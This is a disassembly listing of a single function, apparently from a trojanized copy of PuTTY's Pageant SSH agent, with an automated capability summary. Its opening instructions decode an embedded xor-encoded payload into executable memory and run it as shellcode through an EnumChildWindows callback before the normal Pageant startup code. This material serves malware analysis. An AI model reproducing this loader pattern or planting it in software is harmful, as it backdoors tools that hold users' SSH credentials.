Function at 0x41d430
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2b9c
call fcn.0041ff10
mov eax, dword [0x483600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2b40], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2b44], eax
mov dword [ebp - 0x2b50], 0
call fcn.0041c520
push 0x2336
lea eax, [ebp - 0x2b3c]
push str.0000
push eax
call fcn.00420e00
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x2b48]
mov dword [ebp - 0x2b48], 0
push eax
push 0x40
push 0x2335
push edi
call esi
test eax, eax
jne 0x41d4e8
push 4
push 0x1000
push 0x2335
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x2b48]
push eax
push 0x40
push 0x2335
push edi
call esi
mov bl, byte [ebp - 0x2b3c]
lea esi, [ebp - 0x2b3c]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x2335
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
nop
mov byte [ecx - 1], al
nop
nop
nop
sub edx, 1
jne 0x41d500
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov eax, dword [ebp - 0x2b40]
mov dword [0x4854d4], eax
mov dword [0x4854dc], 0
call fcn.0041ca30
test eax, eax
je 0x41db88
xor eax, eax
cmp dword [0x4854f0], 2
sete al
mov dword [0x4841b8], eax
test eax, eax
je 0x41d59d
call fcn.0041efc0
test eax, eax
jne 0x41d59d
push 0x10
push str.Pageant_Fatal_Error
push str.Unable_to_access_security_APIs._Pageant_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fbe4
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041c190
push 0x7f0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea esi, [ebp - 0x804]
mov eax, esi
push 0x5c
push eax
call fcn.00421e00
add esp, 8
test eax, eax
je 0x41d5d6
mov ecx, esi
cmp eax, ecx
jb 0x41d5d6
lea esi, [eax + 1]
lea eax, [ebp - 0x804]
push 0x3a
push eax
call fcn.00421e00
add esp, 8
test eax, eax
je 0x41d5f2
cmp eax, esi
jb 0x41d5f2
lea esi, [eax + 1]
movq xmm0, qword [str.putty.exe]
movq qword [esi], xmm0
mov ax, word [0x47829c]
mov word [esi + 8], ax
lea eax, [ebp - 0x804]
push 0x474b24
push eax
call fcn.0044a24d
mov esi, eax
add esp, 8
test esi, esi
je 0x41d63e
lea eax, [ebp - 0x804]
push eax
call fcn.00402250
push esi
mov dword [0x4841ac], eax
call fcn.00449ddf
add esp, 8
jmp 0x41d648
mov dword [0x4841ac], 0
call fcn.0041eb60
mov dword [0x4841a8], eax
test eax, eax
jne 0x41d65b
call fcn.004056a0
lea eax, [ebp - 0x2b58]
push eax
lea eax, [ebp - 0x2b54]
push eax
lea eax, [ebp - 0x2b4c]
push eax
push dword [ebp - 0x2b44]
call fcn.0041f700
mov ebx, dword [ebp - 0x2b4c]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41d7e4
nop
mov eax, dword [ebp - 0x2b54]
lea ecx, [edi*4]
mov dword [ebp - 0x2b44], ecx
mov esi, dword [ecx + eax]
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6d0
test dl, dl
je 0x41d6cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6b0
xor eax, eax
jmp 0x41d6d5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d8ab
mov ecx, 0x4782a8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d704
test dl, dl
je 0x41d700
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d704
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6e4
xor eax, eax
jmp 0x41d709
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d0
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d738
test dl, dl
je 0x41d734
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d738
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d718
xor eax, eax
jmp 0x41d73d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d0
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d770
test dl, dl
je 0x41d76c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d770
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d750
xor eax, eax
jmp 0x41d775
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d0
mov ecx, 0x4782d8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d7a0
test dl, dl
je 0x41d79c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d7a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d780
xor eax, eax
jmp 0x41d7a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d885
push esi
call fcn.0041c6a0
mov esi, eax
push esi
call fcn.0041ea00
push esi
call fcn.0041c680
add esp, 0xc
mov dword [ebp - 0x2b50], 1
jmp 0x41d7d5
call fcn.0041f440
mov ebx, dword [ebp - 0x2b4c]
inc edi
cmp edi, ebx
jl 0x41d690
xor ebx, ebx
mov esi, ebx
call fcn.00404410
test ebx, ebx
je 0x41d848
mov cl, byte [ebx]
inc ebx
cmp cl, 0x22
cmovne ebx, esi
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
push ebx
call fcn.00421380
mov esi, eax
add esp, 8
test esi, esi
je 0x41d83b
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41d83b
movsx eax, al
push eax
call fcn.00448ed0
add esp, 4
test eax, eax
je 0x41d83b
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41d823
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041e720
add esp, 0xc
cmp dword [0x4841a8], 0
je 0x41d8b5
test ebx, ebx
jne 0x41d870
cmp dword [ebp - 0x2b50], ebx
jne 0x41d870
push 0x10
push str.Pageant_Error
push str.Pageant_is_already_running
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fbe4
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d8a1
mov eax, dword [ebp - 0x2b58]
mov ebx, dword [ebp - 0x2b44]
mov ebx, dword [ebx + eax + 4]
jmp 0x41d7e6
mov ebx, 0x470300
jmp 0x41d7e6
call fcn.0041f620
jmp 0x41d585
cmp dword [ebp + 0xc], 0
jne 0x41d947
mov eax, dword [ebp - 0x2b40]
push 0xc8
push eax
mov dword [ebp - 0x2b80], 0
mov dword [ebp - 0x2b7c], 0x41dba0
mov dword [ebp - 0x2b78], 0
mov dword [ebp - 0x2b74], 0
mov dword [ebp - 0x2b70], eax
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x7f01
push 0
mov dword [ebp - 0x2b6c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 4
mov dword [ebp - 0x2b68], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2b64], eax
lea eax, [ebp - 0x2b80]
push eax
mov dword [ebp - 0x2b60], 0
mov dword [ebp - 0x2b5c], str.Pageant
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push dword [ebp - 0x2b40]
mov dword [0x484198], 0
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push str.Pageant
push str.Pageant
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push eax
mov dword [0x4854dc], eax
call fcn.0041cdd0
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x4841ac], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuW]
mov dword [0x4841a0], eax
je 0x41d9f1
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x4841a0]
mov dword [0x4841a4], eax
call esi
push str.Saved_Sessions
push dword [0x4841a4]
push 0x10
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
mov eax, dword [0x4841a0]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push 0x478334
push 0x30
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
call fcn.0041c170
test eax, eax
je 0x41da39
push 0x478340
push 0x40
push 0
push dword [0x4841a0]
call esi
push str.About
push 0x50
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
push str.Exit
push 0x10
push 0
push dword [0x4841a0]
call esi
push dword [0x4841a4]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x4841a0]
mov dword [0x4841b4], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x4854dc]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x2b9c]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41db31
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageW]
push dword [0x484198]
call esi
test eax, eax
je 0x41dae4
lea eax, [ebp - 0x2b9c]
push eax
push dword [0x484198]
call edi
test eax, eax
jne 0x41db1d
push dword [0x48419c]
call esi
test eax, eax
je 0x41db03
lea eax, [ebp - 0x2b9c]
push eax
push dword [0x48419c]
call edi
test eax, eax
jne 0x41db1d
lea eax, [ebp - 0x2b9c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2b9c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x2b9c]
push eax
call ebx
cmp eax, 1
je 0x41dac5
mov eax, dword [0x4854dc]
mov dword [ebp - 0xbc0], eax
lea eax, [ebp - 0xbc4]
push eax
push 2
mov dword [ebp - 0xbc4], 0x3bc
mov dword [ebp - 0xbbc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push dword [0x4841a0]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x4841b0]
test eax, eax
je 0x41db7d
push eax
call fcn.0041f4d0
add esp, 4
push dword [ebp - 0x2b94]
call fcn.0041e250
push str.Windows_refuses_to_report_a_version
call fcn.0041e570
int3